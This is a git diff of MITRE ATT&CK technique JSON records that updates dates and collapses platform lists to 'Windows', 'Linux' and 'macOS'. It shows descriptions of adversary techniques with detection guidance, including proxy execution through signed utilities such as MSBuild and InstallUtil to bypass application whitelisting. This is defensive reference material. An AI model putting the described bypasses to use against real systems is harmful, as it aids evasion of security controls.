-    "id": "bundle--cd869b1b-2131-4f7f-a51e-00c56200f57d",
+    "id": "bundle--9c0eba8c-72b2-468b-92e2-8e83d8890af5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:11.147Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NTFS Extended Attributes",
-            "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA)\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder. (Citation: Microsoft File Streams)\n\nDetection: Forensic techniques exist to identify information stored in EA. (Citation: Journey into IR ZeroAccess NTFS EA) It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Kernel drivers\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive",
+            "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA)\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder. (Citation: Microsoft File Streams)\n\nDetection: Forensic techniques exist to identify information stored in EA. (Citation: Journey into IR ZeroAccess NTFS EA) It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -47,18 +47,7 @@
                 "Host forensic analysis"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "NTFS partitioned hard drive"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077.json b/enterprise-attack/attack-pattern/attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077.json
index 95ad6984db..bd0c1f821e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f931c4ed-2ce2-4309-826d-702c91daa9b2",
+    "id": "bundle--e190e2f4-4f8b-4a7d-a58a-381109129bd4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:37.450Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Time Discovery",
-            "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User",
+            "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -51,18 +51,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392.json b/enterprise-attack/attack-pattern/attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392.json
index 8bb59d80dc..6460853b82 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55cddcca-d01b-400f-9daa-b80756a5a92c",
+    "id": "bundle--9f8ba0fc-ce2e-42b2-8bfe-be96cc732d4a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:36.550Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Service Execution",
-            "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Process command-line parameters, Process monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
+            "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -28,27 +28,16 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_data_sources": [
+                "Windows Registry",
                 "Process command-line parameters",
-                "Process monitoring",
-                "Windows Registry"
+                "Process monitoring"
             ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows"
             ],
             "x_mitre_remote_support": true
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0.json b/enterprise-attack/attack-pattern/attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0.json
index 09cd31181a..2cfacf1673 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--14d40f48-acdb-47b0-8ad5-8579b9636bdf",
+    "id": "bundle--d4e326f5-aa2a-47e6-b08e-81b1e150877c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:06.512Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PowerShell",
-            "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes",
+            "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -68,18 +68,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": true
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00.json b/enterprise-attack/attack-pattern/attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00.json
index 641049b627..a1c501204c 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f2774d4-1d03-4044-a40f-c63c24fb328c",
+    "id": "bundle--3663c5e0-d2d5-49e8-bc3a-9f27fe371649",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:10.314Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Custom Command and Control Protocol",
-            "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,21 +40,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b.json b/enterprise-attack/attack-pattern/attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b.json
index 71be7255b5..dff0b74277 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--da70290f-7c51-475b-9f3a-96a2d8aeded1",
+    "id": "bundle--7c158b0a-3f13-41cd-aa51-f90a99562cf4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:27.510Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "InstallUtil",
-            "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directory on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code>.InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith",
+            "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,7 +41,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Casey Smith"
+                "Casey Smith",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "Process monitoring",
@@ -54,18 +55,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e.json b/enterprise-attack/attack-pattern/attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e.json
index 3368e9cebc..e3fafe47d1 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ba8eeef7-33aa-484a-91ae-486472bc125f",
+    "id": "bundle--f980e1f7-6edc-473a-a239-cffcdb75fc2d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:42.657Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Commonly Used Port",
-            "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,21 +40,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b.json b/enterprise-attack/attack-pattern/attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b.json
index a10beb5fa6..36aa0d9070 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c3c5af6-8b24-4a9b-a46d-16ecd46fed17",
+    "id": "bundle--5761a87a-7df1-41eb-bf24-0de36b2f1461",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:39.262Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trusted Developer Utilities",
-            "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith",
